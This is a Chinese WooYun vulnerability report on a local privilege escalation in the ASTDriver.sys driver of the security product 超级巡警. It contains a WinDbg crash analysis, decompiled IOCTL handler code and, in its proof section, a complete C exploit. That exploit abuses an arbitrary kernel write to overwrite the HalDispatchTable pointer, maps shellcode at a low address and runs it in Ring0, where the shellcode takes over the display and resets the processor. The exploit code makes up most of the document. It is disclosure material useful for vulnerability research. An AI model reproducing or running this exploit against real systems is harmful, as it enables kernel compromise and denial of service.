漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2010-021
漏洞标题：超级巡警 <= v4 Build0316 ASTDriver.sys 本地特权提升漏洞
相关厂商：巡警
漏洞作者： shineast
提交时间：2010-07-15 15:37
修复时间：2010-07-15 15:37
公开时间：2010-07-15 15:37
漏洞类型：拒绝服务
危害等级：中
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2010-07-15： 积极联系厂商并且等待厂商认领中，细节不对外公开
2010-07-15： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
该漏洞是我2010年4月6日晚上，通过自己的IoControl Fuzz工具挖掘的。漏洞存在于超级巡警ASTDriver.sys这个驱动中，影响超级巡警v4 Build0316和以前的版本。利用该漏洞能够实现本地特权提升，进Ring0。
详细说明：
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 89441428, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: f9c7569b, If non-zero, the instruction address which referenced the bad memory address.
Arg4: 00000000, (reserved)
PROCESS_NAME: ast.exe
TRAP_FRAME: f94f1b00 -- (.trap 0xfffffffff94f1b00)
ErrCode = 00000002
eax=89441428 ebx=81266840 ecx=89441428 edx=ffa7c2d8 esi=81312da0 edi=811fc230
eip=f9c7569b esp=f94f1b74 ebp=f94f1b90 iopl=0 nv up ei ng nz ac pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296
ASTDriver+0x169b:
f9c7569b c70000000000 mov dword ptr [eax],0 ds:0023:89441428=????????
Resetting default scope
STACK_TEXT:
f94f1634 804f9afd 00000003 89441428 00000000 nt!RtlpBreakWithStatusInstruction
f94f1680 804fa6e8 00000003 00000000 c044a208 nt!KiBugCheckDebugBreak+0x19
f94f1a60 804fac37 00000050 89441428 00000001 nt!KeBugCheck2+0x574
f94f1a80 80520478 00000050 89441428 00000001 nt!KeBugCheckEx+0x1b
f94f1ae8 80544568 00000001 89441428 00000000 nt!MmAccessFault+0x9a8
f94f1ae8 f9c7569b 00000001 89441428 00000000 nt!KiTrap0E+0xd0
WARNING: Stack unwind information not available. Following frames may be wrong.
f94f1b90 f9c75184 89441428 5fea3278 50000408 ASTDriver+0x169b
f94f1bc4 804efeb1 81286f18 81266840 806e5410 ASTDriver+0x1184
f94f1bd4 8057f688 812668b0 8125fbe8 81266840 nt!IopfCallDriver+0x31
f94f1be8 805804eb 81286f18 81266840 8125fbe8 nt!IopSynchronousServiceTail+0x60
f94f1c84 8057904e 00000928 00000000 00000000 nt!IopXxxControlFile+0x5c5
f94f1cb8 f74ecb12 00000928 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f94f1d34 8054160c 00000928 00000000 00000000 BehaviorMon!HookNtDeviceIoControlFile+0x892
//省略……
从上面分析中的栈回溯可以看出，问题发生在ASTDriver+0x169b所在的函数中，这个函数是从ASTDriver+0x1184所在的函数调用过来的。因此我们先定位到ASTDriver+0x1184所在的函数，如下所示：
signed int __stdcall sub_110D0(int a1, PIRP Irp)
{
signed int result; // eax@2
int pIrpStack; // [sp+8h] [bp-1Ch]@1
int v4; // [sp+Ch] [bp-18h]@10
int secondDWORD; // [sp+10h] [bp-14h]@3
PVOID systemBuffer; // [sp+18h] [bp-Ch]@1
int firstDWORD; // [sp+1Ch] [bp-8h]@3
int IoControlCode; // [sp+20h] [bp-4h]@3
pIrpStack = (int)Irp->Tail.Overlay.CurrentStackLocation;
systemBuffer = Irp->AssociatedIrp.MasterIrp;
if ( *(_DWORD *)(pIrpStack + 8) == 16 )
{
secondDWORD = *((_DWORD *)systemBuffer + 1);
firstDWORD = *(_DWORD *)systemBuffer;
IoControlCode = *(_DWORD *)(pIrpStack + 12);
switch ( IoControlCode )
{
case 0x50000404:
v4 = sub_112B0(firstDWORD, secondDWORD, *((PVOID *)systemBuffer + 2), *((_DWORD *)systemBuffer + 3));
break;
case 0x50000408:
v4 = sub_11690((PVOID)firstDWORD, secondDWORD);
break;
case 0x5000040C:
v4 = sub_11810((PVOID)firstDWORD, secondDWORD);
break;
}
IofCompleteRequest(Irp, 0);
result = v4;
}
else
{
IofCompleteRequest(Irp, 0);
result = 0xC000000Du;
}
return result;
}
该函数实际上就是驱动的派遣函数。当IoControlCode为0x50000408时，会调用sub_11690函数，参数有两个，第一个参数是用户输入缓冲区中的第一个DWORD，第二个参数是用户输入缓冲区的第二个DWORD。从Windbg输出的被随机化的用户输入数据可以看到，这两个DWORD分别是0x89441428和0x5fea3278，这一点和栈回溯的结果是一致的。
f94f1b90 f9c75184 89441428 5fea3278 50000408 ASTDriver+0x169b
接下来，我们需要分析一下sub_11690函数的内部逻辑，
signed int __stdcall sub_11690(PVOID firstDWORD, int secondDWORD)
{
signed int result; // eax@2
unsigned int v3; // [sp+0h] [bp-1Ch]@6
int v4; // [sp+4h] [bp-18h]@6
int v5; // [sp+14h] [bp-8h]@6
PVOID v6; // [sp+18h] [bp-4h]@15
*(_DWORD *)firstDWORD = 0;
if ( secondDWORD == 32 )
{
if ( MmIsAddressValid(firstDWORD) && MmIsAddressValid(firstDWORD + secondDWORD - 1) )
{
//省略部分代码……
}
}
return result;
}
这个函数有一个致命的错误，函数开头没有对firstDWORD进行任何检查，直接向firstDWORD地址所指向的DWORD赋值为0，而firstDWORD是我们可以控制的。
至此，该漏洞已经分析完毕。漏洞利用起来也非常简单，只要将要修改的Ring0内存地址放在输入缓冲区的第一个DWORD即可。然后向设备\device\ASTDrivers发送IoControlCode为0x50000408的IoControl。这样便实现了向任意地址写0的作用。
另外，如果进一步研究上面sub_11690函数的内部逻辑，如果不利用“*(_DWORD *)firstDWORD = 0;”这句代码的漏洞，函数中还有其他几处漏洞可以利用，最终实现向任意地址写入任意数据的效果。
漏洞证明：
#include "ASTDrivers_Exp.h"
#include "InvbShellCode.h"
#define BUFFER_LENGTH 0x04
#define IOCTL_METHOD_NEITHER 0x5000040c
VOID InbvShellCode()
{
__asm
{
//
// KeDisableInterrupts
//
pushf
pop eax
and eax, 0x0200
shr eax, 0x09
cli
//
// Prepareing Screen
//
call InbvAcquireDisplayOwnership
call InbvResetDisplay
sub esi, esi
push 0x04
mov edi, 0x01DF
push edi
mov ebx, 0x027F
push ebx
push esi
push esi
call InbvSolidColorFill
push 0x0F
call InbvSetTextColor
push esi
call InbvInstallDisplayStringFilter
inc esi
push esi
call InbvEnableDisplayString
dec edi
dec edi
push edi
push ebx
dec esi
push esi
push esi
call InbvSetScrollRegion
lea eax, BugCheckString
push eax
call InbvDisplayString
mov esi, 0x80000000
mov ecx, esi
//
// Countdown
//
__loop01:
dec ecx
jnz __loop01
lea eax, BugCheck01
push eax
call InbvDisplayString
mov ecx, esi
__loop02:
dec ecx
jnz __loop02
lea eax, BugCheck02
push eax
call InbvDisplayString
mov ecx, esi
__loop03:
dec ecx
jnz __loop03
lea eax, BugCheck03
push eax
call InbvDisplayString
mov ecx, esi
__loop04:
dec ecx
jnz __loop04
lea eax, BugCheck04
push eax
call InbvDisplayString
mov ecx, esi
shl ecx, 0x01
__loop05:
dec ecx
jnz __loop05
//
// Reseting Processor
//
mov al, 0xFE
out 0x64, al
}
}
PVOID RtlAllocateMemory(
IN ULONG Length)
{
NTSTATUS NtStatus;
PVOID BaseAddress = NULL;
NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
0,
&Length,
MEM_RESERVE |
MEM_COMMIT,
PAGE_READWRITE);
if(NtStatus == STATUS_SUCCESS)
{
RtlZeroMemory(BaseAddress, Length);
return BaseAddress;
}
return NULL;
}
VOID RtlFreeMemory(
IN PVOID BaseAddress)
{
NTSTATUS NtStatus;
ULONG FreeSize = 0;
NtStatus = NtFreeVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
&FreeSize,
MEM_RELEASE);
}
char g_ressdtDataForAst[32]={0};
char g_ressdtInputBuffer[16]={0};//输入的缓冲区
int __cdecl main(int argc, char **argv)
{
NTSTATUS NtStatus;
HANDLE DeviceHandle;
ULONG ReturnLength = 0;
ULONG ImageBase;
PVOID MappedBase;
UCHAR ImageName[KERNEL_NAME_LENGTH];
ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
PVOID HalDispatchTable;
PVOID xHalQuerySystemInformation;
PVOID MmUserProbeAddress;
ULONG ShellCodeSize = PAGE_SIZE;
PVOID ShellCodeAddress;
PVOID BaseAddress = NULL;
UNICODE_STRING DeviceName;
UNICODE_STRING DllName;
ANSI_STRING ProcedureName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
LARGE_INTEGER Interval;
ULONG TextColor;
///////////////////////////////////////////////////////////////////////////////////////////////
system("cls");
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
&ReturnLength);
if(NtStatus == STATUS_INFO_LENGTH_MISMATCH)
{
ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
ModuleInformation = RtlAllocateMemory(ReturnLength);
if(ModuleInformation)
{
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
NULL);
if(NtStatus == STATUS_SUCCESS)
{
ImageBase = (ULONG)(ModuleInformation->Modules[0].Base);
RtlMoveMemory(
ImageName,
(PVOID)(ModuleInformation->Modules[0].ImageName +
ModuleInformation->Modules[0].ModuleNameOffset),
KERNEL_NAME_LENGTH);
printf(" +----------------------------------------------------------------------------+\n"
" | ImageBase - 0x%.8X |\n"
" | ImageName - %s |\n",
ImageBase,
ImageName);
RtlFreeMemory(ModuleInformation);
RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);
NtStatus = LdrLoadDll(
NULL, // DllPath
&DllCharacteristics, // DllCharacteristics
&DllName, // DllName
&MappedBase); // DllHandle
if(NtStatus)
{
printf(" [*] NtStatus of LdrLoadDll - %.8X\n", NtStatus);
return NtStatus;
}
RtlInitAnsiString(&ProcedureName, "HalDispatchTable");
NtStatus = LdrGetProcedureAddress(
(PVOID)MappedBase, // DllHandle
&ProcedureName, // ProcedureName
0, // ProcedureNumber OPTIONAL
(PVOID*)&HalDispatchTable); // ProcedureAddress
if(NtStatus)
{
printf(" [*] NtStatus of LdrGetProcedureAddress - %.8X\n", NtStatus);
return NtStatus;
}
(ULONG)HalDispatchTable -= (ULONG)MappedBase;
(ULONG)HalDispatchTable += ImageBase;
(ULONG)xHalQuerySystemInformation = (ULONG)HalDispatchTable + sizeof(ULONG);
printf(" | |\n"
" | HalDispatchTable - 0x%.8X |\n"
" | xHalQuerySystemInformation - 0x%.8X |\n"
" +----------------------------------------------------------------------------+\n",
HalDispatchTable,
xHalQuerySystemInformation);
NtStatus = XxInitInbv(ImageBase, (ULONG)MappedBase);
if(NtStatus)
{
printf(" [*] NtStatus of XxInitInbv - %.8X\n", NtStatus);
return NtStatus;
}
LdrUnloadDll((PVOID)MappedBase);
RtlInitUnicodeString(&DeviceName, L"\\Device\\ASTDrivers");
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA |
FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
0, // FileAttributes
FILE_SHARE_READ |
FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
0, // CreateOptions
NULL, // EaBuffer OPTIONAL
0); // EaLength
if(NtStatus)
{
printf(" [*] NtStatus of NtCreateFile - %.8X\n", NtStatus);
return NtStatus;
}
memset(g_ressdtDataForAst,0,32);
memset(g_ressdtInputBuffer,0,16);
*(DWORD *)g_ressdtDataForAst=2;
*(DWORD *)((ULONG)g_ressdtDataForAst+4)=0xFF;
*(DWORD *)((ULONG)g_ressdtDataForAst+8)=(DWORD)xHalQuerySystemInformation;
*(DWORD *)((ULONG)g_ressdtDataForAst+12)=2;
*(ULONG *)((ULONG)g_ressdtDataForAst+16)=4;
*(ULONG *)((ULONG)g_ressdtDataForAst+20)=0x90;
*(ULONG *)((ULONG)g_ressdtDataForAst+24)=0x90;
*(ULONG *)((ULONG)g_ressdtDataForAst+28)=0x90;
//设置缓冲区中的指针 使其指向真实的结构体
*(DWORD *)g_ressdtInputBuffer=(DWORD)g_ressdtDataForAst;
NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_METHOD_NEITHER, // IoControlCode
g_ressdtInputBuffer, // InputBuffer
16, // InputBufferLength
0, // OutputBuffer
0); // OutBufferLength
if(NtStatus)
{
printf(" [*] NtStatus of NtDeviceIoControlFile [1] - %.8X\n", NtStatus);
//return NtStatus;
}
ShellCodeAddress = (PVOID)sizeof(ULONG);
NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress
0, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE |
MEM_COMMIT |
MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect
if(NtStatus)
{
printf(" [*] NtStatus of NtAllocateVirtualMemory - %.8X\n", NtStatus);
return NtStatus;
}
RtlMoveMemory(
ShellCodeAddress,
(PVOID)InbvShellCode,
ShellCodeSize);
Interval.LowPart = 0xFF676980;
Interval.HighPart = 0xFFFFFFFF;
printf("\n 3");
NtDelayExecution(FALSE, &Interval);
printf(" 2");
NtDelayExecution(FALSE, &Interval);
printf(" 1");
NtDelayExecution(FALSE, &Interval);
printf(" Hoop\n\n");
NtDelayExecution(FALSE, &Interval);
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
if(NtStatus)
{
printf(" [*] NtStatus of NtQueryIntervalProfile - %.8X\n", NtStatus);
return NtStatus;
}
NtStatus = NtClose(DeviceHandle);
if(NtStatus)
{
printf(" [*] NtStatus of NtClose - %.8X\n", NtStatus);
return NtStatus;
}
}
}
}
return FALSE;
}
修复方案：
该漏洞本人在4月份已经通知厂商修复，6月份厂商已经告知我修复完毕。
版权声明：转载请注明来源 shineast@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝
漏洞Rank：7 (WooYun评价)